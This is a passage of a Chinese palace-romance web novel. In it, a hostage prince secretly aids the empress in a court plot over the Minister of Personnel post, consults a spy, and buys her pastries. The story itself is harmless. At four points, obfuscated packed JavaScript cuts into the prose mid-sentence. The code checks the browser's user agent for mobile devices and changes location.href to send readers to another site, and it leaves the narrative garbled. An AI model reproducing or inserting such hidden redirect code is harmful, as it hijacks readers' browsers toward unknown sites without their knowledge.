“别动。”萧誉的声音低沉暗哑,带着一丝不易察觉的压抑,“我只是想离你近些,睡吧。” 话落,又深深地吸了一口气后,闭上了眼睛,努力克制着自己。 容蓁听出他语气里压制,身体微微僵硬,乖乖地不敢再动。缓缓闭上了眼,不多时沉沉睡去。 一夜无梦。 天还未亮,容蓁按原路回到明华殿暖阁,翻了窗子进来,站在窗边愣愣的发着呆,脑海里全是在栖云轩萧誉对她做的事。 她抬起右手食指轻轻地覆在唇瓣上,似是那上边还留有他的余温。 “娘娘,您这是怎么了?” 被惊醒的芯红迷糊地醒来,看见靠在墙根的容蓁,焦急地起身上前,为她解下落了雪的斗篷,轻轻地拍了拍将斗篷挂好后,又才转身过来引着人在软塌坐下,拿了还温热的汤婆子来让她抱在怀中。 手上传来的热度唤回了她的思绪。 芯红半跪在脚踏上,边握着她的手,轻轻揉搓着为她活血,“娘娘昨晚又去了栖云轩?” “嗯。”容蓁淡淡应了一声,垂下眼帘,脸上微微泛起一朵红晕。 “怎的一夜未归?”芯红欲言又止,担忧地看着自家娘娘,“娘娘,您可要当心着些,若是被人发现了……” “放心吧。”容蓁轻抿一口热茶,语气里听不出什么情绪,“我只是去与萧誉商议吏部尚书空缺一事。” 她放下茶盏,指尖轻轻摩挲着杯沿。 “吏部尚书?”芯红不解地眨了眨眼,“这与娘娘有何关系?” 容蓁抬眸,眼中闪过一丝精光,“明年会试既然由哥哥主理,这吏部尚书的人选,自然不能马虎。” “宋氏一族虎视眈眈,如今哥哥风头正盛,难免会成为他们的眼中钉。”她微微蹙眉,语气中带着一丝担忧,“会试关系着天下学子,本宫不得不防着他们从中作梗。” “奴婢明白了。”芯红恍然大悟,心中对自家娘娘的敬佩更甚,“娘娘思虑周全。” “只是……”芯红欲言又止,担忧地看向容蓁,“娘娘昨晚在栖云轩待了一整夜,若是传出去,对您的名声……” “无妨。”容蓁淡淡一笑,耳根稍稍露着微红,眉眼间却带着一丝不易察觉的羞涩,“不会有人知晓。” 她垂下眼,脑海中瞬间浮现出昨晚萧誉抱着自己,一步一步走进寝殿的画面。 栖云轩内。 暖融的阳光透过窗棂洒进殿内,为床榻上熟睡的人周身镀上一层浅金色的光晕。 那人渐渐醒来,眼睛还未睁开,他就伸手向床榻内侧探去,却只触到一片冰冷,身侧空空如也。 萧誉猛地坐起身不见佳人身影,殿内一片静谧,唯有空气中还残留着一丝熟悉的淡淡幽香,昭示着昨晚的一切并非只是一场梦。 平日里惯常的冷峻淡漠消散殆尽,他唇角不自觉地勾起一抹愉悦的弧度,深邃的眸子里盛满了化不开的柔情。 “小狐狸,动作倒是快。”他低喃一声,眼底闪着柔光。 “世子,您醒了?” 小厮易辰端着水盆走进内室,便见自家一向清冷自持的主子,此刻竟对着空荡荡的床榻露出这般温柔的神色。 他愣了一下,心中暗自称奇。 萧誉起身下榻,动作间带着几分迫不及待,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340660|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,备水。” “是。”易辰不敢多言,连忙放下水盆,转身去准备沐浴更衣的物什。 平日里,萧誉沐浴更衣从不假手他人,今日却破天荒地让易辰伺候着。 易辰一边为他系着腰带,一边忍不住打趣道:“殿下今日可是要去见什么重要的人?竟这般郑重其事。” 他故作镇定地轻咳一声,掩饰般低头去寻腰佩,“今日要去一趟容府,与容相商议吏部尚书一事。” “原来是去见未来的……咳,容相啊~。”易辰恍然大悟,忍不住调侃道,“难怪殿下今日这般重视。” 萧誉瞪了他一眼,易辰连忙噤声,不敢再多言。 待一切收拾妥当,萧誉对着铜镜仔细端详了一番,确定仪容无可挑剔后,这才满意地点了点头,抬步走出寝殿。 他今日穿着一袭月白色银丝暗纹长袍,腰间系着白玉腰带,墨发高束,露出光洁饱满的额头,更衬得他五官俊美,气质清贵,往日里的清冷疏离淡了几分,宛若九天谪仙。 易辰跟在他身后,忍不住感叹道:“殿下今日这般风姿,怕是整个盛京都城的女子都要为您倾倒了。” 话落,看着自家世子挺拔的背影,心中疑惑,也不知是不是自己想岔了,总觉得世子近日似乎喜欢穿月白色的衣衫。 萧誉却像是没有听到他的话一般,更不知身后易辰的所思所想。满脑都是他昨晚一时情难自控,与她之间的浓情蜜意,想到那张娇媚动人的脸庞,耳根不自觉地泛起一抹淡淡的红晕。 才出了宫门,他很快察觉到跟在身后的尾巴。 他左转右绕,故意在几条热闹的街道上兜圈子,然后与易辰二人同往常一样分开来。 最后,他来到一处僻静的巷口,闪身进入。 巷口处,一辆不起眼的马车静静停在那里。 萧誉掀开车帘,坐了进去。 “去容府。” 他淡淡吩咐道,声音里听不出任何情绪。 马车缓缓驶动,萧誉闭上眼睛,脑海中浮现出容蓁那张清丽绝伦的脸庞。 不多时,马车停下,车外的声音响起,“世子,容府到了。” 他掀开幕帘下了马车,一袭月白色长袍,如芝兰玉树般立于容府门前。他薄唇轻抿,深邃的眸子望向朱漆大门,隐在广袖中的双手握紧后又松开,又深呼了一口气才拾阶而上,叩响了府门。 门从内被人打开,一个门房探出头来,上下打量了他几眼,见来人穿着华贵,气质不凡才迈腿出来对着萧誉作了一揖,开口问道:“不知公子有何事?” “劳烦通传一声,就说萧誉来访。”他对门房说道,语气清冷却比之平日要温润许多。 那小厮只觉得这名字怎么听着这么耳熟,但脚下不敢有所怠慢,连忙点头回了句,“公子稍等片刻。”关了府门,立即进去通报。 片刻后,府门再度被打开来,那小厮去而复返,面露难色:“这位萧公子,我家老爷今日不见客,还请……” “不见客?”萧誉剑眉微蹙,心底虽然有些不悦,但到底脸上没有表露出来,语气又比之前更加温润了些,“还请再去通传一声,就说是皇后让我过来找容相,有要事商议。” 65.容府 那小厮平日里就是个有眼见力的人,他那老鼠般的眼珠子提溜地再次上下打量了萧誉几眼,见其面色凝重,又搬了自家小姐的名号出来,怕他真有什么要紧的事来,自然不敢耽搁半分,颔首只留下一句“公子再稍等片刻。” 说罢,便转身进了府,关上府门独留萧誉一人站在冷风中。 萧誉颔首望着紧闭的大门,漆黑的眸子深不见底。 寒冷的风带着刺人的锋利,他拢了拢身上的斗篷,带上马车中备好的一顶兜帽来遮挡面容。他低下头来挡住了街上本就不多的行人,路过时投来的探究目光。 不多时,那朱红色的大门再度被人从内打开,只不过那小厮身前还站了个人。那人并不是旁人,是容府的大公子,容蓁的大哥——容平章。 他身着石青雨花锦袍,外披了件灰色狐毛做里的斗篷,目光落在萧誉身上,上下打量着眼前这个几乎全身都被包裹在斗篷里身形颀长的男人。 容平章自然认得眼前这人,毕竟是敌国送来的质子,这段时日在盛京也算得上是“名人”。他脑海中想起父亲前几日曾在他面前提起过,近日小妹在宫中与此人走动颇为频繁。 想到此处,他剑眉微蹙,一张俊朗的脸上瞬间覆上一层寒霜,眼底划过一抹凉意,语气冰冷带着明显的敌意道:“今日是刮得什么风,南疆世子竟得空来容府。” 这说话的人若换做是二皇子,萧誉必然不等这话说完,立即转身抬步就走。 可眼前的人毕竟不是二皇子,他不动声色地将兜帽往下压了压,微微抬首静静地打量了容平章片刻,脸上谦和的神情不减,朝着容平章作了一揖,语气颇为熟络道:“原来容御史也在府,那正巧可以一起商议正事。” 容平章眉头稍稍皱起,显然对萧誉的话语和态度感到意外。 “商议正事?”他冷笑一声,语气中带着几分嘲讽,“世子怕是来错地方了吧。” 他说着,便要关门,却被萧誉伸手拦住。 萧誉的手指骨节分明,修长有力,此刻却轻轻地抵在门上,仿佛只是轻轻一推,便能将门推开。 容平章心中一惊,这看似瘦弱的男人,竟有如此力道! 他看向面前的人,神色不变依旧保持着那副温润如玉的模样。仿佛容平章的冷嘲热讽对他毫无影响。 “容御史说笑了,我今日前来,确实是皇后娘娘所托。”萧誉语气平静,一双漆黑的眸子直视容平章,语气异常坚定。 “皇后娘娘?”容平章眉头皱得更紧,瞳色立即冷了下去,“蓁儿怎可能有事托与你?” 萧誉沉默片刻,深邃的眼眸中染上一抹似笑非笑的意味,半晌后他语气低沉道:“此事事关重大,莫非容御史想在容府门前谈论吏部尚书一事?” 容平章心中一惊,脸上闪过一丝错愕。 他看着萧誉这副讳莫如深的模样,眉头深皱却还是侧开身子道:“进来再说。” 萧誉微微颔首,跟着容平章抬脚跨进容府。 穿过影壁,是一座雕梁画栋的垂花门,门上雕刻着繁复的花纹,栩栩如生。再往里走,是一座宽敞的庭院,院中假山流水,亭台楼阁,花木扶疏,一看便知是花了心思打理的。 “容府竟是五进的院子,这般规模,便是王侯也不过如此了吧。”萧誉状似无意地轻声感叹道。 话落,走在前面的人脚步一顿,听出了萧誉的言外之意,转头看了他一眼,淡淡道:“世子有所不知,我容家世代为官,先祖曾是太祖皇帝的太傅,这宅子是太祖皇帝亲赐的。” 萧誉了然地点了点头,心中却暗道,怪不得楚绍如此忌惮容家,这容家不仅手握重权,还有从龙之功,底蕴深厚,绝非一般世家可比。 穿过庭院,是一条长长的抄手游廊,两边种满了各色花卉,如今虽是冬日,却也开得热闹非凡。 萧誉的脚步微微一顿,脑海中不由自主地浮现出容蓁在花丛中笑靥如花的模样。 明明是寒冬腊月,他却觉得浑身燥热,仿佛有一股无名火在体内乱窜。 “世子请。”容平章的声音打断了萧誉的思绪。 萧誉回过神来,淡淡地“嗯”了一声,继续跟着容平章往前走。 两人一路沉默,穿过抄手游廊,来到一处名为“寻梅坞”的院子。刚进院子,萧誉便闻到一股淡淡的梅花香气,沁人心脾。他抬眼望去,只见院中栽满了红梅,枝头缀满了朵朵红梅,在寒风中傲然绽放,娇艳欲滴。 “世子请坐。”萧誉跟着走进寻梅坞的正厅内,容平章看了他一眼客气道。 两人分宾主落座,立即有丫鬟奉上香茗后退下。 萧誉也不客气,姿态从容优雅地端起茶盏,吹开了表面的浮沫轻抿了一口,茶带着淡淡的梅香在口中弥漫。 “世子方才提到吏部尚书,不知有何深意?”容平章开门见山地问道。 品茗的人闻言挑了挑眉,“容御史。” 他放下茶盏,指尖轻轻摩挲着杯沿,语气虽然温润,听不出什么情绪。 容平章抬眸看他,看着眼前这个与才来楚燕时判若两人的人,看向他的眸底中隐藏着深深的探究,等着他的下文。 “皇后娘娘让我带句话。”萧誉顿了顿,抬眸看向容平章,漆黑的眸子里一片平静,仿佛在说一件无关紧要的小事,“她说,陛下应该会在宫宴休沐三日后宣布由谁来继任吏部尚书一职。” 容平章眉头微蹙,显然对萧誉的话有些意外。 “蓁儿为何会……”他欲言又止,心中疑惑更甚。 萧誉自然明白他的未尽之意,却只是淡淡一笑,反问道:“容御史以为,陛下属意何人?” 容平章沉默片刻,缓缓道:“吏部尚书一职至关重要,陛下必然会慎重考虑,如今朝中呼声最高的,便是宋氏一派的许修明。” 萧誉闻言,嘴角勾起一抹似笑非笑的弧度,语气意味深长:“许修明……” 容平章敏锐地捕捉到他语气中的变化,心中一凛,问道:“世子可是听到了什么风声?” 萧誉摇了摇头,“娘娘担心,若是让这个人坐上了吏部尚书的位置,只怕会在明年会试中暗自出手,对身为主考官的容御史您不利。” 话落,容平章自然明白他的意思,脸色也变得凝重起来。 “蓁儿可有说什么法子?”他沉声问道。 萧誉看了他一眼,缓缓道:“娘娘说,陛下必然不会让容氏的人坐上吏部尚书这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376246|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置,所以……” 他顿了顿,语气幽深:“我们需得找到一个第三方势力的人,先将这个人扶上去。” “第三方势力?”容平章眉头紧锁,一时之间没有反应过来。 萧誉却不打算继续兜圈子,他端起茶盏,轻抿了一口,将杯中茶水一饮而尽。放下茶盏,看向容平章,一字一句道:“然后再将此人,变成我们的人。” 容平章闻言,瞳孔骤然一缩,心中掀起惊涛骇浪。 他看着眼前这个看似云淡风轻的男子,忽然意识到方才简短的谈话间,都是他在掌握着主动时,心中第一次对这个南疆世子,生出了几分忌惮。 这个萧誉,绝非表面上看起来这般简单。 他究竟是什么时候,和蓁儿…… 容平章心中思绪万千,面上却不动声色。 二人不约而同地握起手边的茶盏,指尖摩挲着杯沿沉思着各怀心思。 忽然,从屏风后走出一人来,不是旁人正是当朝右相容玉山。 两人抬首愣了几瞬后,赶忙收起神色,起身作揖问候。 “父亲。” “容相。” “嗯。”容玉山目光深沉地落在萧誉身上,在上首的椅子坐下。 萧誉不动声色地打量着眼前这位容家家主,传闻中权倾朝野的右相,眉眼间与容蓁有几分相似,尤其是那双深邃的眸子,仿佛能洞悉一切。 容玉山也在观察着萧誉,这个被当做棋子送来楚燕的南疆世子,心机深沉,绝非池中之物。 “此事事关重大,还需从长计议。”容玉山语气淡淡,却带着一股不怒自威的气势。 萧誉微微一笑,仿佛没有察觉到他的试探,“容相,皇后娘娘嘱咐道‘此事紧急,得抓紧办’。” 他故意咬重了“皇后娘娘”几个字,目光直视着容玉山,不肯放过他脸上任何一丝细微的表情。 果然,容玉山听到那几个字时,眉头几不可察地皱了皱,但很快便恢复如常。 他沉思片刻后,传来一阵冗长地叹息声:“唉,罢了,既然蓁儿肯信你,老夫亦可信你一回。” - 夜深人静,皇宫中却依旧灯火通明。 御书房内,楚绍批阅着奏折,眉头紧锁,脸上满是疲惫之色。 “陛下,夜深了,您该休息了。”一旁的太监李德福轻声劝道。 楚绍却没有理会他,依旧埋头批阅着奏折。 李德福见状,也不敢再多言,只能默默地站在一旁,静静地候着。 不知过了多久,楚绍终于放下了手中的奏折,揉了揉眉心,疲惫地说道:“吏部尚书一事,朝中风向如何?” 李德福躬身道:“回陛下,朝中呼声最高的,是宋氏一派的许修明。” “许修明……”楚绍沉吟片刻,缓缓道,“此人能力是有,但野心太大,朕信不过他。” 李德福闻言,心中一动,试探着问道:“那陛下的意思是……” 楚绍看了他一眼,淡淡道:“朕心中已有合适的人选,只是……”他顿了顿,没有继续说下去,但李德福却已经明白了他的意思。 “奴才明白。”李德福躬身道,“奴才这就去办。” 66.买糕 萧誉拱手作别,戴好兜帽从容府后门悄然离开。一路避开人群,刻意绕了几条僻静的小巷,才来到城西的望月楼。 望月楼掌柜的本就眼尖,何况是自家少主,他认出萧誉后亲自迎了出来将他带至二楼雅间,点了几样清淡小菜,又要了平时千金难买一壶的醉流霞。 “世子今日来可是有事情吩咐?”掌柜的叫黄柳,此时收起往日待客时脸上谄媚的模样,肃了肃神情,恭敬地看向萧誉问道。 萧誉修长的手指轻轻敲击着桌面,一下,又一下,沉静的眸子仿佛一潭深不见底的寒潭,让人猜不透他在想些什么。似乎此时坐在这里的人,与方才出现在容府的人只是有着与他同样的一张皮,而非同一个人。 “容府最近可有什么异动?”他薄唇轻启,声音清冷,不带一丝温度。 黄柳垂首答道:“回世子,容府一切如常,只是……”他顿了顿,似乎在斟酌用词。 “只是什么?”萧誉语气依旧平静,但握着酒杯的手指却不自觉地收紧,骨节泛起一丝白色。 饶是黄柳深入楚燕十多年,都不曾感受到还有比眼前这位年轻世子更大的压力。 外面虽是寒冬,就这短短几息之间,他额上渗出一层薄汗,连忙说道:“只是那位右相近日与漠北信件来往频繁,似乎在密谋什么大事。” “漠北?”萧誉重复了一遍,眸光微闪,语气听不出喜怒。 他放下酒杯,指尖轻轻摩挲着杯沿,脑海中浮现出一张意气风发的面容。 那是容蓁的二哥,容云洲。 容云洲,年少成名,战功赫赫,二十岁便率军镇守漠北,素有“漠北之鹰”的称号。 而在这之前,让这位少年将军一战成名的并不是在漠北,而是十七岁时在南疆一役,因其以少胜多、用兵诡谲而盛名。 萧誉曾随父王征战时与他见过几面,印象十分深刻,不得不承认容云洲此人确实有些手段。 或许是常年驻守边疆的原因,容云洲相貌与常年在盛京的容蓁与容平章二人并不是很像,气质上更是不同。 他眼底闪过一丝精光,难怪容玉山那天提醒她时会那样说。 两国之间征战在所难免,各有立场。不过容玉山有句话说的不对,对容云洲若要说对他看法,倒是说不上仇恨,相比较而言,萧誉觉得更多的应该是对这个少年将军的欣赏。 “容云洲……”萧誉低声呢喃,语气中听不出情绪。 黄柳低着头,不敢错过萧誉脸上任何一丝表情,试图揣测他的心思。 “说是正常家书倒不必联系频繁,若并非正常家书,又会为何事?”萧誉摩挲着酒杯的手指一顿,抬眸看向黄柳,深邃的眸子仿佛能看透人心。 黄柳心头一凛,连忙答道:“属下无能,尚未查探清楚。” “继续盯着容府,有任何异动,立刻来报。”他的声音听不出喜怒,却带着不容置疑的威严。 “是。”黄柳低着头,恭敬地应道。 萧誉收回目光,端起桌上的酒杯,浅尝了一口。 他沉默片刻,突然开口,“江南那边的事情如何了?” 他声音清冷,漫不经心地问道,仿佛只是随口一问。 黄柳垂首答道:“回世子,江南那边一切正常,郑氏的势力已经尽数被我们接手,不日便可掌控江南的经济命脉。” 萧誉满意地点了点头,深邃的眸子中闪过有微光闪动。 他想起容蓁曾经说过,江南的织锦天下闻名,她一直想去看看。 “世子?”黄柳见萧誉脸色有异,试探着唤了一声。 萧誉回过神,眯了眯那双细长的双眼,脑海中却浮现出方才在容府寻梅坞与容氏父子二人商议时的画面。 容玉山端坐于书案后,手中握着一卷书册,神色凝重,“陛下此举,意在削弱朝中各方势力,我等不可不防。” 容平章则坐在左下首,闻言微微颔首,表示赞同。 “妹妹想的不错,为今之计,只有先找一第三方势力的人顶上吏部尚书一职,方可稳住朝局。” “不知右相心中可有人选?”萧誉看向容玉山问道。 只见坐在上首的人沉吟片刻,眼底闪过一丝光芒,缓缓说道:“我心中倒有一人选……” “还请容相告知。” 萧誉语气谦和,面上更是温润,恍若一位普通温文尔雅,颇有君子之风的世家公子,而非那个战场上令人闻风丧胆的“杀神”。 “此人来自古老世族秦氏,名唤秦桓,为人刚正不阿,才华横溢……”容玉山在说道秦氏一族时,眼底是掩盖不住的赞赏之意。 身处望月楼雅间,周身清冷的人想到此处,眸色一沉,“黄柳。” “属下在。”黄柳连忙应道,不敢有丝毫怠慢。 “你对秦氏了解多少?”萧誉紧了紧眉间问。 黄柳闻言,微微一愣,随即垂眸答道:“秦氏一族,世代清贵,族中子弟多在朝为官,是楚燕不可小觑的世家大族。” “秦桓此人如何?”萧誉语气淡淡,听不出喜怒,却还是能听出一丝若有若无的顾虑。 就连萧誉自己也不能知晓,这一丝的顾虑从何而来。 黄柳沉吟片刻,组织了一下语言,才开口说道:“秦桓此人,颇有才名,年少便高中状元,入仕后平步青云,深得先帝赏识。” “哦?”萧誉挑眉,语气中带着一丝玩味,“既是如此,为何如今只是个从二品的吏部侍郎?” 黄柳自然明白萧誉话中之意,继续说道:“此人虽有才华,却太过正直,不懂变通,得罪了不少权贵,因此仕途并不顺遂。” “正直?”萧誉冷笑一声,语气中满是不屑,“这世上哪有什么真正的正直,不过是权衡利弊罢了。” 黄柳沉默不语,他知道萧誉说的没错,这世上本就没有绝对的善恶对错,只有永恒的利益。 “继续说。” “秦桓此人,虽不善钻营,却极重名声,若是能说动他,让他为我们所用……”黄柳的话还没说完,便被萧誉打断。 “不必了。”萧誉语气冷淡,带着不容置疑的决绝。这个人是需得说动,但也应该是为她所用。 黄柳闻言,心中一惊,连忙低下头,不敢再言语。 “你先下去吧。” 黄柳应声退下,不敢再过多停留。 萧誉起身,走到窗边,推开半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376247|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩的窗户,目光眺望着远处巍峨的皇宫,眸色深沉难辨。 盛京城中,车水马龙,人声鼎沸,一派繁华景象。 他站着看了一会,不多时重新戴好兜帽,遮住大半张脸,只露出一双深邃如夜空的眸子,转身融入楼下熙攘的人群中。 他一路缓步而行,看似漫无目的,却将盛京中的各处动静收入眼底。不知不觉间,来到了一条繁华的长街。 街道两旁店铺林立,叫卖声、讨价还价声不绝于耳,热闹非凡。他正欲转身离开,目光却被街角一家糕点铺吸引。 那家糕点铺门面不大,却装饰得十分精致,门口悬挂着一块匾额,上书“香满园”三个烫金大字。 这个名为“香满园”的糕点铺子他曾听那位读书不行,但吃喝玩乐十分上道的二皇子提起过,是盛京最有名的糕点铺子,每日里都有不少人排队购买。 他抬眼看去,铺子前排着长长的队伍,不少衣着鲜亮的丫鬟婆子正焦急地等待着,显然都是来替自家主子买糕点的。 他脚步微顿,脑海中浮现出容蓁那日吃糕点时满足的神情。薄唇轻抿,鬼使神差地走到队伍末尾排了起来。 周围的人见他一袭月白色银丝暗纹长袍,腰间系着白玉腰带,虽然有兜帽遮住了半张脸,但只露出的一双眉眼亦能看出是一位俊美的贵公子。 因其周身气质不凡,怎么看也不像是能来这种地方的人。队伍中,不少妙龄女子也纷纷侧目,偷偷打量起这位身姿挺拔,气质清冷的俊美郎君。 对周围的视线毫无所觉,他垂眸看着前方,神色淡漠,仿佛一块毫无瑕疵的冷玉,散发着拒人于千里之外的寒意。身形挺拔的他即使身处人群之中,也依旧显得鹤立鸡群。 糕点铺的老板娘是个精明的妇人,一眼就看出萧誉气质不凡,连忙热情地招呼道。 萧誉微微抬眸,目光落在老板娘身后的托盘上,声音如气质一样清冷道:“一样来一份。” “好嘞!” 老板娘见他如此阔绰,连忙点头答道,“公子您稍等,这就去给您拿!” 说罢,老板娘笑得见牙不见眼,便转身进了铺子。 因香满园名气大,所以糕点也卖的极贵,萧誉的声音不大却丝毫不差地落在周遭每一位排队的丫鬟婆子们的耳朵里。 顿时吸引了周围更多人的目光,尤其是那些年轻女子,更是忍不住频频侧目,心中暗暗猜测着这位贵公子的身份。 萧誉目不斜视,仿佛什么都没有发生过一般,依旧静静地站在原地,等待着取糕点。 不多时,老板娘便端着一个精致的木盒走了出来,递给萧誉,“公子,您的糕点。” 萧誉接过木盒,打开看了一眼,只见盒中每一层都整整齐齐地摆放这不同的糕点,每块糕点都做工精致,香气扑鼻。 他满意地点了点头,眸底的清冷染上暖意,从袖中掏出一锭银子,递给老板娘道,“不用找了。” 说罢,便转身离开了糕点铺。 他步履沉稳,背影挺拔,很快便消失在人群之中。 只留下身后一众女子,望着他离去的方向,眼中满是艳羡和好奇。 “也不知是哪家姑娘如此好福气。” 67.吃糕 因着接近年关,街上商贩、来往行人都比平日里要更多些,丝毫不被冬日严寒所影响。 萧誉提着糕点盒,指尖不经意间触碰到温热的木盒,想起容蓁那日眉眼弯弯的盈盈笑意,眸中闪过一丝连他自己都未曾察觉的暖意。 天色渐暗,灰蒙蒙的云层遮蔽了夕阳的余晖,为巍峨的皇宫蒙上了一层暗影。 萧誉眸色微敛,将那抹异样情绪压下,转身融入人群,转身朝着皇宫的方向走去。 他步履沉稳,目不斜视,周身散发着生人勿近的寒意。穿过熙熙攘攘的人群,如同一滴水融入大海,不留一丝痕迹。 街道两旁的叫卖声、喧闹声渐渐被他抛在身后,他的世界仿佛只剩下脚下青石板路发出的轻微声响,和脑海里所想之人那盈盈笑语。 “世子。” 一道低沉的声音在他身后响起。 萧誉脚步微顿,却没有回头,仿佛早已预料到身后之人的出现。 “事情可办妥了?” 他放慢了脚步低声问道。 身后之人快步上前,走到他身侧,压低声音回话:“妥了,那人文采斐然,明年参加会试定然没有问题。” 萧誉神色不变,薄唇轻启,吐出一个字:“嗯。” “咦,世子为何买看这么多糕点?” 易辰走在身后,回禀完事情后这才注意到萧誉拧在手里的糕点盒忍不住问道,语气中带着一丝疑惑。 萧誉脚步不停,目光落在前方宫墙上飞檐翘角的暗影,淡淡道:“听说这家糕点不错。” “哦。” 身后之人不再多言,心中自然知晓这些个糕点是买给谁的,看着世子的身影抿嘴一笑安静地跟在其身后走着。 两扇厚重的朱红色的宫门在萧誉和易辰身后缓缓合拢,发出沉闷的声响,如同巨兽合上了獠牙,将一切喧嚣隔绝在外。 萧誉一身月白色锦袍,腰间玉佩随着他的步伐轻轻晃动,在寂静的宫道上投下一片清冷的光。 他走了几步后忽然停下,头也未回只是稍稍环顾左右片刻,见四下无人才轻声道:“你先回栖云轩。” 易辰愣了一下,下意识地抬头看了一眼萧誉的侧脸,却只看到他线条冷峻的下颌,以及那双深不见底的眸子中一闪而过的暖意,下意识地问道:“世子不回吗?” 萧誉没有回答他的问题,已经迈着步子自顾自地朝着另一条宫道走去。 他的身影在宫墙上投下一道修长的剪影,易辰望着他的背影,张了张嘴,最终还是将疑问咽了回去。 - 明华殿后院偏殿内。 容蓁身着家常的浅粉色宫装,乌黑的长发只用一根玉簪挽着,显得慵懒随意。 她面前的黄花梨木桌上,摆着一副白玉棋盘,棋盘上黑白棋子交错,显然已下了大半。 一只通体雪白的猫懒洋洋地趴在她脚边,偶尔甩甩尾巴,碧绿的眼睛半眯着,似乎也对眼前的棋局颇感兴趣,软糯糯地叫了两声。 几只喜鹊在殿内飞来飞去,叽叽喳喳地叫唤着,执棋者却丝毫不受其干扰。 容蓁纤长的手指捏着一枚白子,秀眉微蹙,盯着棋盘。 “啪嗒”一声轻响,白子落在棋盘上。她缓缓吐出一口气,执起白瓷茶盏轻抿一口,试图用茶水的甘香驱散心头那抹挥之不去的烦闷。 忽然,两只鹞子从窗外灰蒙蒙的空中俯冲下来,稳稳地落在了偏殿的窗台上,抖落了背羽与翅膀上的雪后,鹰一般的眼睛落在殿内正关注棋局的女子身上。 “萧世子今日去了哪些地方?”容蓁听着窗台边的鸟鸣声,她并未抬头,手里又执起一枚黑子开口问道。 两只鹞子叽叽喳喳地将萧誉今日在宫外的行踪事无巨细地都说给了她听。 萧誉一出宫门就去了容府,可见那人将自己说与他的事情放在较为重要的位置,她垂下眼睑,眼底染上一层笑意听着鹞子继续说。 当听见萧誉与望月楼掌柜的黄柳熟络地对话,才惊觉原来在盛京开了十多年,数一数二的望月楼掌柜的竟然是南疆暗探。 她手指间的那枚黑子“啪嗒”一声落在棋盘上,也难怪萧誉会打听到连她都难以查到的蛛丝马迹。 容蓁看着眼前的棋盘,眸色渐深,静静沉思者,就连后面鹞子继续说了些什么都没有落进她耳中。 “娘娘,您在想那位萧世子吗?”芯红以为容蓁方才是在自言自语,并不知晓发生了什么,但善于察言观色的她,见容蓁神色有异,试探着问道。 容蓁指尖一顿,抬眸看向芯红,眼中闪过一丝不易察觉的慌乱,但很快便恢复了平静,语气淡淡道:“别胡说,本宫怎么会……。” “娘娘,奴婢伺候您多年,您心里在想什么,奴婢一眼便能看出来。”芯红掩嘴笑道。 容蓁被芯红说中心事,脸上闪过一丝红晕。 这时,本来趴在她脚边的白猫忽然睁开那双碧绿的眼睛,看向门外,发出“喵呜~”一声猫叫。 “你先去前院再去把明日宫宴的流程审一遍。”容蓁轻声吩咐着。 芯红立即会意,不曾多问只点头应是,推开殿门走了出去。 她走后不多时, “吱呀”一声,殿门再度被人轻轻推开。 一身月白色锦袍,手里拧着一个木食盒的男子出现在门口。 容蓁循声看去,见萧誉身姿挺拔立于门口,夕阳的余晖洒在他身上,为他镀上了一层金光,显得更加俊美无双。 “回来了。” 她看着萧誉的眸光一闪,开口道。 门口的人没有说话,只是径直走到她面前,将手中一直提着的糕点盒递到她面前。 “这是什么?” 容蓁挑眉,惊讶这人回宫怎的还提了这么大个食盒回来。 “你平日不是喜食这些个甜点吗?” 萧誉语气平静,目光却静静地落在她身上,“听说这家铺子的糕点不错,回宫时路过,就想着给你带些。” 容蓁闻言,看向那个木盒,木盒上“香满园”三个字看得她心中微动,那间糕点铺子她自然知晓,也知道与萧誉回宫并不在一条街道上。 她看向萧誉的眸光如波光闪动,也并不打算挑破他只道了声“多谢”。 “嗯。” 萧誉点头,将手里的糕点盒又往她面前递了递,“还热着,你尝尝。” 容蓁看着他,没有说话,只是静静地看着他。 四目相对,空气中仿佛有什么东西在悄然发酵。 萧誉看着她,眸色渐深,心跳也不自觉地加快了几分。 容蓁淡淡一笑,接过食盒放在桌上,缓缓将其打开,从最上层拿起一块桂花糕,轻轻咬了一口。 “味道如何?” 萧誉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 